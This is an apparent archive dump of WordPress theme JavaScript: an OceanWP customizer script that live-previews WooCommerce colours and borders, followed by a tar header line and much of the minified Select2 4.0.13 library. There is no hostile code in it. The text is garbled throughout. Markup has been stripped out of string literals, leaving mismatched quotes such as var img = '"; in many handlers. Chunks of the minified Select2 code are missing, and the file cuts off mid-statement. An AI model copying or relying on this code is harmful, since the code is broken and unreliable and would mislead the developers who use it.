api("ocean_single_product_navigation_border_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_navigation_border_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_product_navigation_hover_border_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_navigation_hover_border_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_product_addtocart_bg_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product div.summary button.single_add_to_cart_button").css("background-color", size); }); }), api("ocean_single_product_addtocart_bg_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_addtocart_bg_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_product_addtocart_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product div.summary button.single_add_to_cart_button").css("color", size); }); }), api("ocean_single_product_addtocart_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_addtocart_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_product_addtocart_border_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product div.summary button.single_add_to_cart_button").css("border-color", size); }); }), api("ocean_single_product_addtocart_border_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_addtocart_border_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api('ocean_single_product_addtocart_border_style', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_single_product_addtocart_border_style'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_single_product_addtocart_border_size', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_single_product_addtocart_border_size'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_single_product_addtocart_border_radius', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_single_product_addtocart_border_radius'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api("ocean_single_product_tabs_borders_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product .woocommerce-tabs ul.tabs").css("border-color", size); }); }), api("ocean_single_product_tabs_text_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product .woocommerce-tabs ul.tabs li a").css("color", size); }); }), api("ocean_single_product_tabs_text_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_single_product_tabs_text_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_single_product_tabs_active_text_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product .woocommerce-tabs ul.tabs li.active a").css("color", size); }); }), api("ocean_single_product_tabs_active_text_borders_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product .woocommerce-tabs ul.tabs li.active a").css("border-color", size); }); }), api("ocean_single_product_tabs_product_description_title_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product .woocommerce-tabs .panel h2").css("color", size); }); }), api("ocean_single_product_tabs_product_description_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce div.product .woocommerce-tabs .panel p").css("color", size); }); }), api("ocean_account_navigation_borders_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-MyAccount-navigation ul,.woocommerce-MyAccount-navigation ul li").css("border-color", size); }); }), api("ocean_account_navigation_icons_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_account_navigation_icons_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_account_navigation_links_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-MyAccount-navigation ul li a").css("color", size); }); }), api("ocean_account_navigation_links_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_account_navigation_links_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_account_addresses_bg", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-MyAccount-content .addresses .woocommerce-Address .title, .woocommerce-MyAccount-content .addresses .woocommerce-Address address").css("background-color", size); }); }), api("ocean_account_addresses_title_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-MyAccount-content .addresses .woocommerce-Address .title h3").css("color", size); }); }), api("ocean_account_addresses_title_border_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-MyAccount-content .addresses .woocommerce-Address .title").css("border-color", size); }); }), api("ocean_account_addresses_button_bg", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-MyAccount-content .addresses .woocommerce-Address .title a").css("background-color", size); }); }), api("ocean_account_addresses_button_bg_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_account_addresses_button_bg_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_account_addresses_button_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-MyAccount-content .addresses .woocommerce-Address .title a").css("color", size); }); }), api("ocean_account_addresses_button_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_account_addresses_button_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_account_addresses_content_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-MyAccount-content .addresses .woocommerce-Address address").css("color", size); }); }), api("ocean_cart_borders_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-cart table.shop_table,.woocommerce-cart table.shop_table th,.woocommerce-cart table.shop_table td,.woocommerce-cart .cart-collaterals .cross-sells,.woocommerce-page .cart-collaterals .cross-sells,.woocommerce-cart .cart-collaterals h2,.woocommerce-cart .cart-collaterals .cart_totals,.woocommerce-page .cart-collaterals .cart_totals,.woocommerce-cart .cart-collaterals .cart_totals table th,.woocommerce-cart .cart-collaterals .cart_totals .order-total th,.woocommerce-cart table.shop_table td,.woocommerce-cart .cart-collaterals .cart_totals tr td,.woocommerce-cart .cart-collaterals .cart_totals .order-total td").css("border-color", size); }); }), api("ocean_cart_head_bg", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-cart table.shop_table thead,.woocommerce-cart .cart-collaterals h2").css("background-color", size); }); }), api("ocean_cart_head_titles_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-cart table.shop_table thead th,.woocommerce-cart .cart-collaterals h2").css("color", size); }); }), api("ocean_cart_totals_table_titles_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-cart .cart-collaterals .cart_totals table th").css("color", size); }); }), api("ocean_cart_remove_button_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce table.shop_table a.remove").css("color", size); }); }), api("ocean_cart_remove_button_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_cart_remove_button_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_checkout_notices_borders_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout .woocommerce-info").css("border-color", size); }); }), api("ocean_checkout_notices_icon_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_checkout_notices_icon_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_checkout_notices_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout .woocommerce-info").css("color", size); }); }), api("ocean_checkout_notices_link_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout .woocommerce-info a").css("color", size); }); }), api("ocean_checkout_notices_link_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_checkout_notices_link_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_checkout_notices_form_border_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout form.login,.woocommerce-checkout form.checkout_coupon").css("border-color", size); }); }), api("ocean_checkout_titles_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce .woocommerce-checkout #customer_details h3,.woocommerce .woocommerce-checkout h3#order_review_heading").css("color", size); }); }), api("ocean_checkout_titles_border_bottom_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce .woocommerce-checkout #customer_details h3,.woocommerce .woocommerce-checkout h3#order_review_heading").css("border-color", size); }); }), api("ocean_checkout_table_main_bg", function($swipe) { $swipe.bind(function(size) { $(".woocommerce table.shop_table thead,.woocommerce-checkout-review-order-table tfoot th").css("background-color", size); }); }), api("ocean_checkout_table_titles_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout table.shop_table thead th,.woocommerce-checkout table.shop_table tfoot th").css("color", size); }); }), api("ocean_checkout_table_borders_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout table.shop_table,.woocommerce-checkout table.shop_table th,.woocommerce-checkout table.shop_table td,.woocommerce-checkout table.shop_table tfoot th,.woocommerce-checkout table.shop_table tfoot td").css("border-color", size); }); }), api("ocean_checkout_payment_methods_bg", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout #payment").css("background-color", size); }); }), api("ocean_checkout_payment_methods_borders_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout #payment,.woocommerce-checkout #payment ul.payment_methods").css("border-color", size); }); }), api("ocean_checkout_payment_box_bg", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout #payment div.payment_box").css("background-color", size); }); }), api("ocean_checkout_payment_box_color", function($swipe) { $swipe.bind(function(size) { $(".woocommerce-checkout #payment div.payment_box").css("color", size); }); }); } )( jQuery );customizer/assets/js/select2.full.min.js000064400000232555151551031110014315 0ustar00/*! Select2 4.0.13 | https://github.com/select2/select2/blob/master/LICENSE.md */ !function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(d){var e=function(){if(d&&d.fn&&d.fn.select2&&d.fn.select2.amd)var e=d.fn.select2.amd;var t,n,i,h,o,s,f,g,m,v,y,_,r,a,w,l;function b(e,t){return r.call(e,t)}function c(e,t){var n,i,r,o,s,a,l,c,u,d,p,h=t&&t.split("/"),f=y.map,g=f&&f["*"]||{};if(e){for(s=(e=e.split("/")).length-1,y.nodeIdCompat&&w.test(e[s])&&(e[s]=e[s].replace(w,"")),"."===e[0].charAt(0)&&h&&(e=h.slice(0,h.length-1).concat(e)),u=0;u":">",'"':""","'":"'","/":"/"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},r.appendMany=function(e,t){if("1.7"===o.fn.jquery.substr(0,3)){var n=o();o.map(t,function(e){n=n.add(e)}),t=n}e.append(t)},r.__cache={};var n=0;return r.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");return null==t&&(e.id?(t=e.id,e.setAttribute("data-select2-id",t)):(e.setAttribute("data-select2-id",++n),t=n.toString())),t},r.StoreData=function(e,t,n){var i=r.GetUniqueElementId(e);r.__cache[i]||(r.__cache[i]={}),r.__cache[i][t]=n},r.GetData=function(e,t){var n=r.GetUniqueElementId(e);return t?r.__cache[n]&&null!=r.__cache[n][t]?r.__cache[n][t]:o(e).data(t):r.__cache[n]},r.RemoveData=function(e){var t=r.GetUniqueElementId(e);null!=r.__cache[t]&&delete r.__cache[t],e.removeAttribute("data-select2-id")},r}),e.define("select2/results",["jquery","./utils"],function(h,f){function i(e,t,n){this.$element=e,this.data=n,this.options=t,i.__super__.constructor.call(this)}return f.Extend(i,f.Observable),i.prototype.render=function(){var e=h('
      ');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},i.prototype.clear=function(){this.$results.empty()},i.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=h(''),i=this.options.get("translations").get(e.message);n.append(t(i(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},i.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},i.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n",{class:"select2-results__options select2-results__options--nested"});p.append(l),s.append(a),s.append(p)}else this.template(e,t);return f.StoreData(t,"data",e),t},i.prototype.bind=function(t,e){var l=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){l.clear(),l.append(e.data),t.isOpen()&&(l.setClasses(),l.highlightFirstItem())}),t.on("results:append",function(e){l.append(e.data),t.isOpen()&&l.setClasses()}),t.on("query",function(e){l.hideMessages(),l.showLoading(e)}),t.on("select",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(l.setClasses(),l.options.get("scrollAfterSelect")&&l.highlightFirstItem())}),t.on("open",function(){l.$results.attr("aria-expanded","true"),l.$results.attr("aria-hidden","false"),l.setClasses(),l.ensureHighlightVisible()}),t.on("close",function(){l.$results.attr("aria-expanded","false"),l.$results.attr("aria-hidden","true"),l.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=l.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e=l.getHighlightedResults();if(0!==e.length){var t=f.GetData(e[0],"data");"true"==e.attr("aria-selected")?l.trigger("close",{}):l.trigger("select",{data:t})}}),t.on("results:previous",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e);if(!(n<=0)){var i=n-1;0===e.length&&(i=0);var r=t.eq(i);r.trigger("mouseenter");var o=l.$results.offset().top,s=r.offset().top,a=l.$results.scrollTop()+(s-o);0===i?l.$results.scrollTop(0):s-o<0&&l.$results.scrollTop(a)}}),t.on("results:next",function(){var e=l.getHighlightedResults(),t=l.$results.find("[aria-selected]"),n=t.index(e)+1;if(!(n>=t.length)){var i=t.eq(n);i.trigger("mouseenter");var r=l.$results.offset().top+l.$results.outerHeight(!1),o=i.offset().top+i.outerHeight(!1),s=l.$results.scrollTop()+o-r;0===n?l.$results.scrollTop(0):rthis.$results.outerHeight()||o<0)&&this.$results.scrollTop(r)}},i.prototype.template=function(e,t){var n=this.options.get("templateResult"),i=this.options.get("escapeMarkup"),r=n(e,t);null==r?t.style.display="none":"string"==typeof r?t.innerHTML=i(r):h(t).append(r)},i}),e.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),e.define("select2/selection/base",["jquery","../utils","../keys"],function(n,i,r){function o(e,t){this.$element=e,this.options=t,o.__super__.constructor.call(this)}return i.Extend(o,i.Observable),o.prototype.render=function(){var e=n('');return this._tabindex=0,null!=i.GetData(this.$element[0],"old-tabindex")?this._tabindex=i.GetData(this.$element[0],"old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),e.attr("aria-disabled","false"),this.$selection=e},o.prototype.bind=function(e,t){var n=this,i=e.id+"-results";this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===r.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",i),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),n.$selection.trigger("focus"),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex),n.$selection.attr("aria-disabled","false")}),e.on("disable",function(){n.$selection.attr("tabindex","-1"),n.$selection.attr("aria-disabled","true")})},o.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||n.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},o.prototype._attachCloseHandler=function(e){n(document.body).on("mousedown.select2."+e.id,function(e){var t=n(e.target).closest(".select2");n(".select2.select2-container--open").each(function(){this!=t[0]&&i.GetData(this,"element").select2("close")})})},o.prototype._detachCloseHandler=function(e){n(document.body).off("mousedown.select2."+e.id)},o.prototype.position=function(e,t){t.find(".selection").append(e)},o.prototype.destroy=function(){this._detachCloseHandler(this.container)},o.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},o.prototype.isEnabled=function(){return!this.isDisabled()},o.prototype.isDisabled=function(){return this.options.get("disabled")},o}),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,i){function r(){r.__super__.constructor.apply(this,arguments)}return n.Extend(r,t),r.prototype.render=function(){var e=r.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html(''),e},r.prototype.bind=function(t,e){var n=this;r.__super__.bind.apply(this,arguments);var i=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",i).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",i),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.trigger("focus")})},r.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},r.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},r.prototype.selectionContainer=function(){return e("")},r.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),i=this.display(t,n);n.empty().append(i);var r=t.title||t.text;r?n.attr("title",r):n.removeAttr("title")}else this.clear()},r}),e.define("select2/selection/multiple",["jquery","./base","../utils"],function(r,e,l){function n(e,t){n.__super__.constructor.apply(this,arguments)}return l.Extend(n,e),n.prototype.render=function(){var e=n.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('
        '),e},n.prototype.bind=function(e,t){var i=this;n.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){i.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){if(!i.isDisabled()){var t=r(this).parent(),n=l.GetData(t[0],"data");i.trigger("unselect",{originalEvent:e,data:n})}})},n.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},n.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},n.prototype.selectionContainer=function(){return r('
      • ×
      • ')},n.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n×');a.StoreData(i[0],"data",t),this.$selection.find(".select2-selection__rendered").prepend(i)}},e}),e.define("select2/selection/search",["jquery","../utils","../keys"],function(i,a,l){function e(e,t,n){e.call(this,t,n)}return e.prototype.render=function(e){var t=i('');this.$searchContainer=t,this.$search=t.find("input");var n=e.call(this);return this._transferTabIndex(),n},e.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results";e.call(this,t,n),t.on("open",function(){i.$search.attr("aria-controls",r),i.$search.trigger("focus")}),t.on("close",function(){i.$search.val(""),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.trigger("focus")}),t.on("enable",function(){i.$search.prop("disabled",!1),i._transferTabIndex()}),t.on("disable",function(){i.$search.prop("disabled",!0)}),t.on("focus",function(e){i.$search.trigger("focus")}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")}),this.$selection.on("focusin",".select2-search--inline",function(e){i.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){i._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){if(e.stopPropagation(),i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented(),e.which===l.BACKSPACE&&""===i.$search.val()){var t=i.$searchContainer.prev(".select2-selection__choice");if(0this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("select",function(){i._checkIfMaximumSelected()})},e.prototype.query=function(e,t,n){var i=this;this._checkIfMaximumSelected(function(){e.call(i,t,n)})},e.prototype._checkIfMaximumSelected=function(e,n){var i=this;this.current(function(e){var t=null!=e?e.length:0;0=i.maximumSelectionLength?i.trigger("results:message",{message:"maximumSelected",args:{maximum:i.maximumSelectionLength}}):n&&n()})},e}),e.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),e.define("select2/dropdown/search",["jquery","../utils"],function(o,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),n=o('');return this.$searchContainer=n,this.$search=n.find("input"),t.prepend(n),t},t.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){o(this).off("keyup")}),this.$search.on("keyup input",function(e){i.handleSearch(e)}),t.on("open",function(){i.$search.attr("tabindex",0),i.$search.attr("aria-controls",r),i.$search.trigger("focus"),window.setTimeout(function(){i.$search.trigger("focus")},0)}),t.on("close",function(){i.$search.attr("tabindex",-1),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.val(""),i.$search.trigger("blur")}),t.on("focus",function(){t.isOpen()||i.$search.trigger("focus")}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(i.showSearch(e)?i.$searchContainer.removeClass("select2-search--hide"):i.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")})},t.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),e.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,i){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,i)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),i=t.length-1;0<=i;i--){var r=t[i];this.placeholder.id===r.id&&n.splice(i,1)}return n},e}),e.define("select2/dropdown/infiniteScroll",["jquery"],function(n){function e(e,t,n,i){this.lastParams={},e.call(this,t,n,i),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("query",function(e){i.lastParams=e,i.loading=!0}),t.on("query:append",function(e){i.lastParams=e,i.loading=!0}),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},e.prototype.loadMoreIfNeeded=function(){var e=n.contains(document.documentElement,this.$loadingMore[0]);if(!this.loading&&e){var t=this.$results.offset().top+this.$results.outerHeight(!1);this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)<=t+50&&this.loadMore()}},e.prototype.loadMore=function(){this.loading=!0;var e=n.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=n('
      • '),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),e.define("select2/dropdown/attachBody",["jquery","../utils"],function(f,a){function e(e,t,n){this.$dropdownParent=f(n.get("dropdownParent")||document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("open",function(){i._showDropdown(),i._attachPositioningHandler(t),i._bindContainerResultHandlers(t)}),t.on("close",function(){i._hideDropdown(),i._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=f(""),n=e.call(this);return t.append(n),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._bindContainerResultHandlers=function(e,t){if(!this._containerResultsHandlersBound){var n=this;t.on("results:all",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:append",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:message",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("select",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("unselect",function(){n._positionDropdown(),n._resizeDropdown()}),this._containerResultsHandlersBound=!0}},e.prototype._attachPositioningHandler=function(e,t){var n=this,i="scroll.select2."+t.id,r="resize.select2."+t.id,o="orientationchange.select2."+t.id,s=this.$container.parents().filter(a.hasScroll);s.each(function(){a.StoreData(this,"select2-scroll-position",{x:f(this).scrollLeft(),y:f(this).scrollTop()})}),s.on(i,function(e){var t=a.GetData(this,"select2-scroll-position");f(this).scrollTop(t.y)}),f(window).on(i+" "+r+" "+o,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,i="resize.select2."+t.id,r="orientationchange.select2."+t.id;this.$container.parents().filter(a.hasScroll).off(n),f(window).off(n+" "+i+" "+r)},e.prototype._positionDropdown=function(){var e=f(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),i=null,r=this.$container.offset();r.bottom=r.top+this.$container.outerHeight(!1);var o={height:this.$container.outerHeight(!1)};o.top=r.top,o.bottom=r.top+o.height;var s=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),c=ar.bottom+s,d={left:r.left,top:o.bottom},p=this.$dropdownParent;"static"===p.css("position")&&(p=p.offsetParent());var h={top:0,left:0};(f.contains(document.body,p[0])||p[0].isConnected)&&(h=p.offset()),d.top-=h.top,d.left-=h.left,t||n||(i="below"),u||!c||t?!c&&u&&t&&(i="below"):i="above",("above"==i||t&&"below"!==i)&&(d.top=o.top-h.top-s),null!=i&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+i),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+i)),this.$dropdownContainer.css(d)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),e.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,i){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,i)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,i=0;i');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),u.StoreData(e[0],"element",this.$element),e},d}),e.define("select2/compat/utils",["jquery"],function(s){return{syncCssClasses:function(e,t,n){var i,r,o=[];(i=s.trim(e.attr("class")))&&s((i=""+i).split(/\s+/)).each(function(){0===this.indexOf("select2-")&&o.push(this)}),(i=s.trim(t.attr("class")))&&s((i=""+i).split(/\s+/)).each(function(){0!==this.indexOf("select2-")&&null!=(r=n(this))&&o.push(r)}),e.attr("class",o.join(" "))}}}),e.define("select2/compat/containerCss",["jquery","./utils"],function(s,a){function l(e){return null}function e(){}return e.prototype.render=function(e){var t=e.call(this),n=this.options.get("containerCssClass")||"";s.isFunction(n)&&(n=n(this.$element));var 